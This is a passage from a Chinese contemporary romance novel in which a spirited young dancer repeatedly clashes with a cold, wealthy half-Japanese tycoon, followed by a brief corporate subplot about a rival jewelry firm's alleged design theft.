图片载入中

冰虎挑情(01~08 完)

特大字】 【大字】 【中字】 【小字

序曲

在经济不景气的情况下,有三个叱咤风云的商业奇才,位居领导地位,施展雄心壮志,建立属于他们的事业王国。

听说,只要是他们要得到的东西、争取的企划案、想获得的利益,莫不手到擒来,轻松人袋,在商场上的狠、准、快是十分出名的,想要与他们合作的企业,莫不使出浑身解数。因为只要能合作一次;就可以赚到当年度的利润,不必再做其他的生意。

若是与他们为敌,那就是一件十分恐怖的事,他们只要动个手脚,就会让你在一夕之间倾家荡产、家破人亡,所以聪明的人都懂得争取与他们合作的机会,而少部分不自量力与他们为敌的人,已完全消失在尔虞我诈的商场,无法东山再起。

就因为他们能在商场上唿风唤雨,再加上每个人上亿的身价,所以被封为黄金三虎。

由于某种原因,其中有一人表面上和他们是敌人,在公开场合不屑与之并列名号,而那些送上封号的人,为了避免招惹可怕的某一个人,于是便改称之为──黄金商虎。

但在私底下,人们依然称他们为黄金三虎。

这三个人分别为──

江承辑:中日混血儿,日本名为森野拓泽,三十岁,个性冷酷无情,浑身散发着冰冷气息,是森野集团的总裁,也是央立珠宝国际公司幕后的负责人之一;讨厌女人,对她们的评价非常低,甚至到了敬而远之的地步。

林子扬:二十八岁,中美混血儿,是个私生子,0pale家族企业派到台湾的总裁,因为是珠宝起家的企业,所以和央立在表面上是竞争对手,私底下他们却是最好的朋友。林子扬个性阴沈、狠绝,是一个外表俊美、神态邪魅的花花公子,虽然喜欢流连在女人堆里,却从未付出真心也从不给承诺,好聚好散是他和女人交往所秉持的原则。

沈天擎:三十岁,森野集团的总经理,也是央立珠宝国际公司的总裁,他和江承辑共同创立这间珠宝公司。为人温和、幽默,表面上漫不经心,实际上则是诡计多端的人,对珠宝情有独钟,没人知道这是他的爱好与兴趣,开立珠宝公司也算是实现了他的梦想。对于女人则是抱持着可有可无的态度。

三个人在商场上成就非凡,并拥有出色的外表和未婚的身份。因此在上流社会掀起一股疯狂的热潮,所有的女性为之倾倒,莫不希望能得到青睐,所以黄金商虎所到之处,全都引起了旋风,更是上流社会津津乐道的焦点话题!

第一章

清晨六、七点左右,山上弯曲的柏油路上,除了早起运动的老人外,还可见到一个年轻女孩的身影调皮的穿梭在老人之间,和他们一一打着招唿。她身着红色棉布短袖上衣、磨白的七分牛仔裤,扎着马尾,看起来十分俏俏丽、年轻。 “小馨啊!练了什么好舞步?改天得给张奶奶瞧瞧!”一位头发花白上了年纪的老奶奶散着步,向从她旁边舞过的女孩喊着。

张奶奶此言一出,其他老伯伯、老奶奶都跟着点头,此起彼落的赞美之词,更是让小馨那张洋溢着笑脸的容颜,显得更为喜悦光彩。

“哎呀!那有什么问题。”

她自信的拍拍胸脯大声保证着,俏皮的模样,让每个人脸上都露出笑容。 她滑着轻快的舞步舞离他们,并回过头朝他们露出一个灿烂的笑容喊着:“各位爷爷奶奶,掰掰!”

小馨只顾着和他们挥手,忘了这是个有坡度的转弯处,差点就要和山壁来个大接吻,幸而她及时运用她灵活的手脚来个漂亮的后空翻,被吓得有些加快的心跳才平稳些,她不禁赞美自己的反应敏捷,嘴角扬着一抹得意的笑,耳边却传来一阵紧急刹车的声音。

待她站定后,定睛一看,是一辆黑得发亮的加长型劳斯莱斯停在她眼前,接着车门被打开,一个穿得西装笔挺、一脸凶神恶煞的男人,让原本看起来就不好看的脸,感觉更加的可怕。

知道自己碍了人家开车的路,她吐了吐粉红小舌。唉!又闯祸了。

“呃……抱歉哦!挡了你的路。”她扯出尴尬的笑容,弯着腰道歉。

“搞什么鬼啊?你找死呀?”司机摆着一张臭脸,语气很凶恶,一副得理不饶人的模样,看她只是个年轻女孩,更是不将她放在眼里,朝她就是一阵叫骂。 司机轻视的模样、不善的口吻令女孩牵强的笑容僵住,“我……我……”她吞吞吐吐的说着,毕竟是自己不对,能说什么?

“你什么你?要耍杂技回家去耍,别在这里碍人家的路。”司机接着骂了一串令人难堪的话语,大有欲罢不能之势。

女孩愈听脸色愈不善,手也不自觉的握起拳头来。“喂!死老头,你说够没呀?”她一双手在他面前挥舞着,咬牙切齿的喊:“我都已经道过歉,不领情就算了,干嘛骂人?”真是去他的王八蛋、欠扁的男人。

她突如其来的喊叫抗议,让那男人愣了一下,不过他随即挺起壮硕的胸膛,轻蔑的瞄着她,不过是个小女孩,难不成他还会被她虚张声势的气焰给吓到不成? 于是,他再度以十分凶恶的语气对她道:“像你这种将马路看作是杂耍地方的白痴,难道不该被骂吗?这里明明是车子行走的地方,你不……”

“啊!”她突如其来的尖叫声,让男人顿住了话语,不敢置信的瞪着她看。尖叫声既尖锐又响亮,几乎要震破他的耳膜,让他快要忍不住伸手掩住自己受虐的耳朵,正想要开口叫她闭嘴时,有人马上好心的替他先教训她。

“闭嘴!”

低沈又充满权威性的命令,让石馨兰顿时住了嘴,擡起眼来正想斥骂他的无礼,却因为他出色的长相而张大了小嘴,连一句话都说不出来。

哇!她在心里兀自赞叹着,好帅的男人呀!粗黑的浓眉、黑亮的大眼,挺直的鼻梁、薄且紧抿的唇与那结实高大的体魄,真是男人中的极品。

只可惜浑身上下充满着冷漠、难以亲近的气质,不过并无损于他成熟的男性魅力,而他的眼神却深幽得像是一潭湖水,好似一个不小心就会被他不经意的眼神给卷了进去。

不过此刻那对有着漂亮眼睛的男人,却用那张令人赞赏的嘴巴命令她闭嘴! 哼!开什么玩笑?她石馨兰可不是花痴,绝不会因为他长得帅,就轻易的屈服在恶势力下。

她大胆的伸出手来指着他的脸大骂:“喂!你们真的很过份,明明是你们不对,怎么还一副理所当然的模样,哼!我就说嘛,有什么样的主人就养什么样的狗,果然一点都没错。”不去理会身后的咆哮声,她继续不知死活的批评。“明明是你们差点撞到我,还一副凶巴巴的模样,真是过份!”

她因气愤而红扑扑的脸颊,看起来格外动人,让那冷漠的男人眼光一闪,随即嘲讽的淡笑着。

“多少?”

“什么?”原本想了一大堆要狠狠的骂这两个男人的词汇,全都被他轻蔑的语气与高傲不屑的态度给悉数压了回去,而且她还听不懂他究竟在说些什么? 直到他伸手从口袋里拿出皮夹,看也不看地就从里面抽出钞票,然后不由分说的塞入她的怀里,接着转身坐入车内,她才意会过来。

一连串流利又迅速的动作,让她根本就来不及反应。

“走!”他嘴里轻柔的吐出这个字。

司机迅速的发动车子,扬长而去。

直到车子绝尘而去,她才回过神来,看着手上的钞票,心底的怒气在此刻关到最高点。可恶的臭男人,竟然敢把她当成一个爱钱如命的女人!

可恶,可恶,她气得一把就要将钞票丢在地上,并破口大骂:“我才不希罕你这些臭钱!”就在要甩落手上的钞票时,她突然转念一想,反而将它牢牢的握在手心里。

“好,很好,你这个混蛋给我记住,你就不要再让我遇到,要不然,我一定要让你好看!”石馨兰等着他们再见的那天,她一定不会再那么迟钝的任由他羞辱,非要讨回一个公道不可,否则她就跟他姓!

哼,真是气死了。她这个人最经不起人家激,她把他给牢牢的记住了!她恨恨的将钞票塞入口袋,宛如那不是钱而是什么可怕的烫手山芋,再也没了愉悦心情的她决定赶紧回家去,想到家,她的心底忍不住涌现温暖的笑意,朝着家的方向跑了起来。

石馨兰是个二十二岁的年轻女孩,刚由T大舞蹈系毕业,开了一间舞蹈社,住在阳明山上的大别墅,她的老爸是大学教授,在学术界上石明文三个字无人不知、无人不晓,她老妈则是温柔娴淑的家庭主妇。

石明文除了是大学教授外,更运用本身的经济专业投资股票及房地产,所以赚了不少钱,因此才得以在阳明山购得大别墅,在这个清静的环境住下来。 刚才和石馨兰打招唿的都是她的邻居,每天早上她都会出去运动,所以认识了很多爷爷、奶奶。

石馨兰有一对开通的父母,所以养成积极乐观的人生态度,就算遇到不如意的事,难过个几分钟,就能生龙活虎、蹦蹦跳跳的笑闹着,开心过生活。 石馨兰拿出钥匙打开家里的大门,听到从屋里传来的笑声,嘴角扬起了一抹真心的笑,将刚才的不愉快都丢到脑后,连同那张帅气、冷酷的男性脸庞一同丢到角落去。

砰地一声,纱门在身后关上,却意来石父的抗议声。

“小馨,都告诉你几次了,女孩子家别这么粗鲁,文雅点好。”石父坐在餐桌前边吃早餐边念。

石馨兰笑得更开心了,拉开椅子一屁股就坐下,拿起桌上的牛奶灌了下去,看见对面妈妈不赞同的温柔目光,她放下杯子吐吐舌头,顺道将嘴角那圈奶渍给舔净。

“是,老爸。”她举起一只手靠在头侧,像个童子军般的敬礼,嘴边却不正经的笑着。

石明文只能无奈的摇摇头对李玉玫说:“你看看你女儿,调皮得像什么似的,我看肯定是嫁不出去,没人要罗!”

听到石明文的话,李玉玫还来不及说什么,石馨兰就连声抗议着。

“老爸!你说的那是什么话?好歹我也是你生的耶!”她站了起来,从后面抱着石明文的颈项,撒娇地说:“何况我才不想嫁,我要一辈子赖着你。” 她撒娇的话令石明文心里十分开心。“你净会和我一句来一句去的,真是……”他宠溺地轻斥。

“老爸!我说的都是真的嘛!”石馨兰爱娇的说。“人家才不要嫁人,我要一辈子都待在老爸老妈的身边逗你们开心。”

石明文夫妇只生石馨兰这个女儿,因此夫妇俩都十分疼爱这唯一的女儿,石父更对这个“鬼灵精”宠爱得不得了,将所有一切好的东西买给她使用,让她的物质生活十分优渥,当然给她的爱更是少不了,幸好石馨兰并没有因此恃宠而骄,反而更加贴心,带给这个安静的家许多热闹与生气。

石明文被她的话逗得开心的呵呵大笑。

“好了,你们父女俩再斗嘴下去,待会儿都要来不及了。”石母在一旁笑着摇摇头,对于他们父女俩常上演的戏码,只能无奈的看着。

石明文早上有经济学的课,而石馨兰教的舞蹈课虽然只有两晚,但每星期三早上或是其他下午只要有空,她都会到育幼院去自愿教小朋友跳舞。

听到老妈的提醒,石馨兰看了一眼手表,哇哇大叫起来:“啊!七点四十分!糟了,要迟到了。”

她大惊失色的叫嚷起来,身体也从石父的身上跳到一旁去,将喝了一半的牛奶咕噜噜地灌下肚去。

她蹦跳地跑到客厅将背包拿起,喊了声再见,就跑得不见踪影,根本没有看到石明文夫妇相视而笑的表情。

石明文是一个在学术界享有盛名的教授,当然得面对许多的邀约与应酬。但是,他并不是一个喜欢交际应酬的人,若非必要的场合,都会推辞在家陪老婆,两夫妻鹣鲽情深不只是维持良好形象而已,更日正名副其实的恩爱,让所有人羡慕不已。

每次石明文答应参加聚会,都会和妻子共同与会。这一次的宴会是要寻求企业家的支持与赞助,帮助他们成立一个经济财经的研究机构,其经费十分庞大,所以石明文才会亲自出马,好让企业家可以慷慨解囊、共襄盛举。

原本,石馨兰并没有要一块去,因为她一向随性,对那种场合没啥兴趣,不过,因为父母亲答应要陪她一起到国家剧院,欣赏由巴黎远道而来的知名舞蹈团体表演,他们在宴会上露一下脸后,就要陪着女儿去看表演,她只好盛装打扮陪他们去参加宴会。

来到会场后,石馨兰十分不习惯这嘈杂又热闹的场合,看每个人脸上都挂着虚伪的笑,眼中又表现出全然不同的情绪,看了真想赶快逃离这里。

“老爸。”她轻轻叫唤了站在面前的父亲,待他转过头来才又道:“你真的可以露一下脸就走吗?”她用十分怀疑的语气问着父亲。

其实不能怪她质疑他,因为从进来到现在,石馨兰的父母亲不知和多少人寒喧过,那种被包围的盛况,真让她怀疑父母亲可以顺利的脱身,准时陪她去看九点上演的舞蹈表演。

现下的老爸,连和她说话都还要勉强分神回头看她呢!

“别担心,我知道时间,反正系主任说过,只要我象征性的露一下脸,他们就会知道我支援这个机构的成立,自然就会赞助资金,所以待会儿时间快要到时,我和你妈一定会陪你去的。”

“可是老爸……”她才想要回应,便发现父亲又被人拉着说话,根本就没空听,她只好拍了拍老妈的肩膀,以手示意她要到自助区去吃点东西,待会儿到门口去会合。在老妈了解并同意后,她随即悄悄的熘走,要是继续陪他们这样点头、打招唿,她一定会受不了而抓狂的。

石馨兰朝丰盛的餐点区走去,哀声叹气的想着,若是坚持自己去看表演,不就不会把自己弄到这种田地了吗?不过老爸老妈如此兴致勃勃的要陪她去看,总不好浇他们冷水吧?

看着眼前各式各样美味的餐点,石馨兰突然笑了。算了,或许跟着来是有好处的,至少眼前的美食也算是一种补偿吧!就好好的大吃一顿,说不定等她吃饱了,他们就可以走了,这也不失为打发时间的好方式。

她乐观的想着,开始朝食物进攻。

就在石馨兰心满意足的将自己的餐盘装满食物后,她心情愉悦的拿起叉子,准备找个好位置大快朵颐一番。当她举目四望之际,目光突然凝结在某个人身上,连动作都僵住了。

石馨兰手里的叉子指向一个高瘦健壮的男人,嘴里因为惊唿而变成O型,眼中倏然燃起愤怒的火花,那个穿着一身白西服、西裤的男人,不就是那天在马路边塞钱给她的恶劣男吗?

好,很好!她咬牙切齿地想着:踏破铁鞋无觅处,得来全不费工夫。哼,你给我走着瞧,看我怎么回报你。才一想完,她马上像个复仇女神般的朝他直直的走过去,在看到他似乎想要转身走开的同时,连忙不顾形象的朝他大喝一声。 “你给我站住!”

石馨兰拿着叉子的手直直的指向他,让他停住脚步,转身看了她一眼。 该死!这男人还是像她第一次看到他时一样俊帅,害她的心脏忍不住因为他的俊帅而跳得乱七八糟。石馨兰随即暗斥自己:现在都什么时候了?还在想这些。她连忙回过神来,浑然不觉原本嘈杂的会场已因自己的大声喊叫而安静下来,全都看向他们。

石馨兰不顾形象的模样,成为议论纷纷的焦点,她却将注意力全都放在距离她前方不远处的男人身上,见那个男人只是看了她一眼就要转身再度离去时,连忙加快脚步朝他奔了过去。

“你这个可恶的臭男人,还想要跑到哪里去?我和你还有一笔帐没算,有胆就站在那里别动。”他连甩都不甩她,继续往前走,反而燃起她的斗志。 石馨兰恨死了这双平常不大穿的高跟鞋和身上这袭晚礼服,阻碍她灵敏的行动,现在连追个人都那么卖力,边诅咒的她脚下的动作可没停下来,没想到,他却突然停下脚步,害她一时刹车不及,整个人撞上他……

霎时只听见一阵低咒与尖叫声同时响起,石馨兰以着极其不雅的姿势整个俯趴在江承辑身上,而她盘中的食物早就不翼而飞,叉子也不知飞到哪里去了? 直到她惊魂未定地发现自己完全没有受到伤害,还安稳的落在一个安全的物体上时,才松了一口气的拍了拍刚才跳得飞快的胸口,露出一副好全在的表情,直到身下传来一道冷而低沈的声音,才吓了一跳。

“虽然想要对我投怀送抱的女人很多,但像你这种别出心裁的方法倒是第一次看到,不过我一点都不欣赏,现在你可以从我的身上起来了吗?”不疾不徐的语调透露出他对这种突发状况的冷静,语气中却充满了对她的讽刺。

“你……你……”石馨兰瞪大眼睛往下看,发现自己竟然坐在江承辑身上,但她的反应却不像一般人那样跳起来,反而恶狠狠的低下身子,小手一把揪住他的领带,带着威胁意味的狠瞪着他。

“你这个自恋的臭男人,谁要对你投怀送抱了?我们还有一笔帐没清,你给我乖乖待着,我马上回来。”她动作迅速的从他身上跳开,急着去拿放在置物柜里的皮包,那里面放着他上次莫名其妙塞给她的钞票。

谁知,一个愤怒的男人和女人同时挡住了她的去路,只见刚才餐盘上的食物吻上了那位女人看起来价值不菲的礼服,而叉子却叉在那个男人的臀部上,形成一副滑稽的景象,让她差点忍俊不住的笑出声来。

这时,她的父母亲也连忙赶上前来,石明文向他们陪罪,并斥责女儿不得当的举止。那男人看在石明文的面子上,只好自认倒楣的离开,反正他受伤的只有息尊心罢了,一根小小的又子还伤不了他。

但是那高傲的女人可没有那么容易打发,她一下子就靠到江承辑的身边去撒娇,让石馨兰忍不住不屑的重哼了声。

“像你这样的男人,会有那种品味的女伴,真是令人一点都不感到惊讶。” 如此尖酸刻薄的话让石家父母忍不住同时皱起眉头!并交换一个互相指责的眼神,责怪对方把孩子给宠坏,正想要开口斥责时,那男人却先开口说话。 “原来,你在吃味我身边的女伴不是你?”

“哼,少臭美了,想要我当你的女伴?再等个几百年吧!”石馨兰大步的转身离开,不想去细究为何看到有别的女人亲昵的偎在他身旁时,闪过一丝的失落感究竟所为何来?

石馨兰动作迅速,只想赶快解决他们之间的恩怨,可是当她走过来时,却发现那个男人竟然和老爸相谈甚欢,看了就十分生气。这个虚伪的男人,就会用这副伪善的脸孔来迷惑众人,谁不知道他是一个最可恶、最虚假的男人,只会卑劣的用钱来打发她。

来不及细想,紧抓在手上的钞票已突兀的朝他的脸上丢了过去,宛如天女散花般在他的头顶上散开来,并纷纷往下坠落。

下一刻,惊唿声与讶异声此起彼落的响起。

在那次宴会后,石馨兰被老爸和老妈骂到臭头,可是只要想到男人脸上错愕的表情,她就觉得十分值得!

虽说这种行为表现有失风度,但是他塞钱给自己的举动难道就不够羞辱人吗?她只是想要告诉他金钱并不是万能的,别以为有几个臭钱,就可以这样目中无人。 只要想到他握紧拳头、表情阴沈难看的模样,石馨兰就忍不住在心底起寒颤,相信要不是在公共场合里,他早就当场给自己几拳了吧?或许她的个性就是太过冲动,完全没有考虑到后果,才会有这种事情发生。

当时一看到他,她便整个怒火扬起,失去了平时的理智,哪里还顾得了这么多?平白教人看笑话,而她的父母亲也气到好几天都不和她说话,严格的抗议她这种失当又不得宜的举动。

毕竟,江承辑在上流社会可是个有头有脸的人物,被她这样一个小女子当场丢钞票,还被各传播媒体拍摄到,也着实丢脸丢大了。

那种混乱的场面她可是连想都不敢再去想,否则也会羞红了脸,想不透自己怎么会做出这种事来?所以,她的父母亲一直积极的想要联络到江承辑好向他道歉,而她也被严重的警告行金举止要安分点,不准再去招惹他了。

不去就不去,石馨兰忍不住吐了吐舌头,将自己晨起运动的地点改到更高的地方,免得又碰到他,发生像上次那种不愉快的事;那里几乎没有什么人烟,只有一栋外表看起来大得吓人的豪华别墅,旁边还有一块很大的空地,她十分满意那里的空旷平坦,那可是她找了很久才找到的耶!

做完暖身运动后,石馨兰开始练习新的舞步,那空翻、跳跃的舞姿是如此的完美动人,沈浸在自己冥想的音乐里,摆动出美丽优雅的姿态,浑然不觉在别墅二楼擦得晶亮的窗户后,有一双深沈、无任何情绪的黑眸正紧盯着她瞧。 在那男人身后有一约六十岁上下的老管家,用手顶了一下滑下鼻梁的黑框老花眼镜,清了清喉咙,怕主人不高兴有入侵入他的地方,连忙开口。

“少爷,要吩咐人将那个女孩赶走吗?”他说得有些惶恐。他在江家也有三十多年了,自从少爷当家后,不,该说从少爷懂事后,他的思想情绪就不曾再显露过,喜怒哀乐没有人能揣测,只能自己判断。

更何况他在八年前被森野老爷子接到日本后,更是令人无法捉摸他的脾气,喜好更是无法判断,所以得更加小心伺候。

少爷一向喜欢安静的生活,所以有外人闯入他的领域,少爷应该会很不高兴才对。

“不。”他淡淡地开口,表情还是没有任何的波动,让人看不出想法。 “嗄?”源伯以为少爷会同意,没想到竟持反对意见,令他十分愕然,整个人都愣住了。

江承辑没有说话,只是静静的站在窗前看着,专注的随着楼下窗外的小小人影而移动视线。

源伯只能闭上嘴巴,心里的困惑逐渐上升,却也不敢开口问;没有人愿意以自身的微薄力量去探少爷的底线,要是惹得他不高兴,他的脾气会让地狱都结冰。 源伯在江家待了这么久,只看过一次江承辑大发脾气的模样,他宁愿上刀山,也不愿再经历一次那种令人寒颤的经验,所以只好静静的站在那里,等候少爷的差遣。

接下来的五天,江承辑在同样的时间,站在相同的窗口看着那个女孩舞动健康美丽的身体,舞出迷人的韵律,源伯也同样站在他背后。

这天清晨,江承辑终于开口:“这下子可有趣了,天堂有路你不走,竟敢犯到我的地盘上,有本事来惹我,就要有承担的后果!”

江承辑阴冷的说着,霍然转身离开,留下一脸愕然的源伯,摸不着头绪。 唉!他早该知道少爷是不可能对他说出什么话来的,他到底在期待些什么啊?不过,少爷第一次主动对年轻女孩感到兴趣,那还真是破天荒呢!

只是从他刚才的观察之中,怎么觉得少爷的语气听起来十分的可怕呢?他到底该不该替那个年轻女孩的心呢?

石馨兰这天下午从舞蹈社教完舞回来,一如往常的对坐在沙发上的石父打招唿:“老爸,我回来了。”她对石明文露出灿烂笑容。

“小馨,你回来啦?”石明文回以和煦的笑容。“今天比较早回来哦。” “当然罗!我这么有魅力,小朋友早就被我哄得服服帖帖的,哪个敢不乖乖听我的话。”石馨兰表情丰富,露出有自信的笑容。

今天下午她教完育幼院的小朋友后,和以往一样打算帮忙院长将小朋友带往餐室,帮忙分配点心,不过因为有一个见习老师来实习,所以她才不用帮忙,可以早点回来。

“呵呵,我看啊,你别带头捣乱,院长就要阿弥陀佛罗!”石明文故意和她打趣。

石明文和女儿的感情一向非常好,所以在看到女儿似乎变得安分多了后,他就不再与她计较地和她笑闹着,父女之间的感情可见一斑。

“气?老爸,你这样说很不给你女儿面子哦!”石馨兰话一说完就往石明文的方向而去,想赖在他身上。

“小馨,家里有客人呢!”石母柔声的提醒她,也给石明文一记警告的眼神。真是的,都有客人在了,还喜欢和女儿穷搅和。

石明文接收到太座大人的眼神后,马上嘿嘿的笑着,还是一派的轻松自在。 石馨兰一听到老妈这么说,连忙停住脚步向四周望瞭望,果真看到一个男人坐在左侧的沙发,眼眸幽深如谜的盯着她,看不出其中的情感。

不过他的脸却令她惊叫了起来:“啊!是你。”石馨兰毫不淑女的跳到他面前,一根青葱般的玉指直指着江承辑,脸上的表情充满惊愕,双眼圆睁、小嘴张 没想到那男人连眉头都没皱一下,平静的看着她,迳自点头打招唿。

石父和石母看到她的举动,忍不住蹙起眉头来。

石明文开口沈声警告:“小馨,你又忘了礼貌吗?”

上一次她莫名其妙的失礼行为,让做父母的都感到汗颜,这一次好不容易人家亲自上门来了,并且大人不计小人过的原说她的行为,可现下瞧她这是什么样子啁?

石父连忙陪笑的看着江承辑,并带着歉意对他说:“真是抱歉,都怪我平常宠坏了她……”

石父的话让石馨兰马上抗议:“老爸,我哪里被宠坏了?明明是他……” “够了!”石明文很少用这种严厉的口吻斥责石馨兰。

会有这种语气出现,就代表石父真的生气了,石馨兰只好吐吐舌头,然后用力的瞪了江承辑一眼,闷闷不乐的坐在一旁。

看到女儿不再多说,石明文满意的点头,不去理会她孩子气的举动。真不懂女儿怎么会在碰到江承辑时就变得如此幼稚,平常可不是这样的,莫非他真的惯坏了她不成?

“小馨,还不快向江先生道歉。”人家都亲自登门拜访了,自个儿的女儿如果不再表现得识大体点,不就要贻笑大方了吗?虽然上次的事……唉,不去想了,只要一想到宝贝女儿所做的好事,他就感到头痛。

“为什么我要……”石馨兰十分不高兴的想要抗议,却在看见父母不赞同的眼神与严厉的表情时,心不甘情不愿的收了回去,她总不能让父母失望吧?算了就看在父母的面子上道个歉也不会死人。

“对不起喔!我不该在公共场合羞辱你,如果有下次的话,我会记得找没有人看见的时候……”

第二章

“小馨!”

一句警告的叫喊,止住了她接下来的话,石馨兰只好住了嘴。

石母十分不高兴的开卧教训:“瞧瞧你说的是什么话?到底是怎么搞的?江先生都不与你一般见识了,你还这么不知好歹的胡言乱语,都怪你老爸宠坏了你。”

石明文无奈的叹口气,怎么又是他?

看到老爸无奈的表情,石馨兰内心充满愧疚感,总觉得不该让疼爱她的父母亲失望,只是自己也不知道怎么回事,就是会在这男人面前完全失控,然后冲动行事,口不择言的像个没家教的女人,真是令父母汗颜!

忍下心底对他的怒气,石馨兰再次对他道歉,才让父母稍露安慰的神色。 “江先生,今晚就留下来一起用餐好了。”

“不了,下次再来叨扰,我还有事。”江承辑站了起来,对石明文露出一个温和的笑容,然后给了石馨兰一个意味深长的眼神。

这个眼神令石馨兰打了个寒颤,原本她总是无法窥探其中的涵义,不过,这次他毫不掩饰掠夺的眼神令她吓了一跳,在她想要开口质问他是什么意思时,石父石母就要她送他出门。

在门口处,她对他不假辞色的道:“告诉你,我是看在我父母的面子上才向你道歉,别以为自己的行为有多对!”

谁知,江承辑听完她的话后,突兀的转身与她靠得非常近。

她吓了一大跳,连忙倒退一步,防御的对他说:“你想做什么?”

“石馨兰,我们之间还没完,你等着吧!”他撂下那句话后,不待她有任何反应,随即转身离去。

石馨兰纵然有心想要追问,也问不到人,只好悻悻然的转身走人屋内。谁有空理那个神经病?又没那么倒楣,何必和他没完没了?那男人最好离她远远的才好。

当她走入客厅,就听见石父的谈话。

“真没想到江先生会主动来找我们。”石明文讶异之余也显得开心。

“老爸,你好像很高兴他来找你。”

“当然。江先生有一半的日本血统,是个出色的企业经营者,你该听过森野集团吧?‘’森野集团是一个跨国际的集团,总公司在日本,分公司遍及全球,森野的名号一打出去,可是无人不知、无人不晓,而经营的产品也十分多样化,大多都是高价位的商品,如珠宝、服饰……等等。

听老爸这样说,那他该不会是……

“哇!老爸!他该不会是森野集团的继承人吧?”石馨兰瞪大眼睛问出心中想法。

“没错。所以我才会说,江先生来找我我感到很讶异!”

“原先是为了你的事而希望和他见面,没想到江先生竟然亲自跑来,而且还谈及这次研究机构成立的基金问题,真是一个不可多得的好男人。”看到女儿不以为然的表情,石父又继续说道:“别露出那种不信的表情。他若不是个好男人,就不会宽宏大量的不予计较,还顺道和我谈这次赞助的事项,如果可以得到他的支持,我们的机构要成立就没问题了。”石明文以着兴奋的语气期待的说。 “老爸,别想那么多,也许他只是顺道来拜访罢了!”石馨兰虽然不想浇老爸冷水,但以女性的直觉,再加上他的眼神与刚才所说的话,似乎有什么阴谋似的,她才不认为他会那么好心的无条件拿出一大笔钱来赞助老爸的学校。 “明文,我看他从头到尾说的也不多,临走前也没承诺什么,你别抱太大的期望,免得到时候失望愈大。我去准备晚餐了。”

石馨兰却显得有点不安,因为她没忘记江承辑临走前的眼神与对她所说的话。惹上这种男人,或许不是明智之举,不过她随即甩甩头,乐观的想,他们根本就是不同世界的两个人,就算江承辑想和她没完没了,只要不去理会就好了,难不成他会杀了她吗?

想到这里,石馨兰忍不住感到好笑,然后尾随母亲身后,帮忙准备晚餐去了。 江承辑今年三十岁,中日混血儿,爸爸是日本人,妈妈则是台湾人,父母亲在一场空难中罹难。当时江承辑年仅十岁,在台湾由老管家扶养长大,借由父母亲留下的巨额保险金生活求学,大学毕业后被日籍爷爷带到日本去。

江承辑回到日本后,主持了森野集团,在大学时就已副修语言学,精通英、日文,其他语言则略有涉猎,商业金融方面更是了得,所以森野集团在他的领导下,八年来,除了以珠宝为主外,更借此拓展出更多的业务。

森野这两个字在他的领导下立足于全球且屹立不摇,并且发扬光大,连服饰、电脑网路……等都在他的手下成长,日本、台湾……等亚洲地区的国家股市都操控在他的手上,所以各大企业都对他忌惮三分,礼遇七分。

森野集团在台湾的总公司位在台北市最热闹的商圈内,由森野所建造的大楼共十五层。一至七楼是百货公司,全部都是森野的产品,包含各式各样琳琅满目的高级品;饮食、生鲜、娱乐则和其他公司合作,成为一家食、衣、行、育乐齐全的百货公司。

八到十三楼则分成业务、设计、销售、会计……等部门,十四楼是总裁办公室,十五楼则是住家式的大套房,从酒吧、厨房……等现代化的设备一应俱全,只要想留在公司加班,就可以到十五楼去得到很好的休息。

森野集团在台湾的总裁对外挂名为江承辑,而森野集团总公司的总裁森野拓泽,鲜少有人知道他们其实是同一个人。

沈天擎站在豪华气派的总裁办公室桌子前,将一份企划案交给江承辑,眉头紧皱、无可奈何的说:“这个珠宝设计十分重要,是由阿拉伯传真过来的,在还未设计完成前,就已传出被各巴巾美商公司所剽窃,要是被王宫那里知道,我们就有得解释了。”

江承辑看了一眼传真,“证据?”这种事是不能道听涂说的,必须要有证据。 “我已经派人到Opale台湾总公司去调查,证实确有其事,而且林子扬十分得意,想看我们吃鳖,成为国际大笑话。”沈天擎十分愤恨不平,在心中把他咒骂了一千遍。

林子扬,二十八岁,中美混血儿,是个优秀的人才,0pale也是家族企业。传言林子扬是私生子,但因为能力强,所以被派来台湾坐镇。Opale和森野一样是以珠宝起家,当然也是最大的竞争对手,两间公司互相竞争是时有所闻的事。

“不过,他们这次的手段真是太卑鄙了,没想到林子扬是这样的人。”沈天擎怒火中烧的说,要是重新设计,时间上根本来不及,对森野的信用是个严重的打击。

“要设计师按照时间表将之完成。”趁着沈天擎埋怨的空档,江承辑将所有的情况想了一遍后,下了指令。

江承辑果决的指令,令沈天擎瞪大双眼,一脸不可置信,“啊?总裁,如果他们真的也生产了这样的产品,那阿拉伯那边……”拜托,要是阿拉伯王宫得知他们独特的设计被Opale广泛生产,那后果可是无法预计的!

“天擎,你跟了我这么多年,这点小把戏该不会看不出来吧?想想看我们的保全系统有多严密,我们有的别人一样会有……”江承辑看了他一眼,淡淡的说。 江承辑的这番话提醒了他,对啊!森野的一切控制都很严密,每个设计师只要在为公司设计一项产品时,一定会住在公司安排的隐密地方,甚至有顶尖的保镖保护着,直到产品出产,交到买方手里,整个交易完成后才有可能放假,那对方的公司是……

“啊!”沈天擎的脑海中闪过一个念头,随即惊叫出声,“反搜证,该死!被骗了,他们一定知道我们会去调查。既然风声是他们放出来的,对方就一定有所防备,目的就是要我们上当;重新设计阶段上一定来不及,只要让我们诚信破产,对Opale而言就有好处。”他恍然大悟的喊道。

江承辑点点头。“懂就好。”他静默了──会儿,又说:“这件事就到此为止,一切的情况交由你去掌控,我想知道日本那方面的动静。”

“松版理牧那老头现在打的是联姻的主意……”松版企业在日本也是数一数二的集团,一方面和森野樊宇,也就是江承辑的爷爷是忘年之交,对于森野集团在江承辑的领导下变得这么出色,自然有心想借由联姻扩展事业版图。因为松版在日本虽然不可小愿,但只在亚洲地区闻名,想拓展以外的地区却已错失良机,当然得和森野合作,才有可能拓展得出去。

松版理牧只有一个独生女儿,所以也想找一个佳婿,当然江承辑就是一只肥羊,而由森野樊宇身上下手是最快的。

沈天擎看到就算碰到再大的事业困境也不曾有过情绪波动的江承辑,交叉在桌上的双手握得有些发白,他丝毫不感到意外,也只有在提到有关家族的事,尤其是他爷爷时,江承辑才会泄露出情绪。

沈天擎和江承辑是大学时的好朋友,对江承辑的沉默寡言,他丝毫不以为意,因为看到了他的孤单寂寞,认定他需要朋友,所以他就自动和他做起朋友来了。大学毕业后,他在江承辑的请求下回到日本,两人晚上一起进修硕士、博士,白天则一起在森野集团学习,虽然江承辑不擅表达情感及言语,他却感受到了友情及真心,他们的情感不需言语来证明。

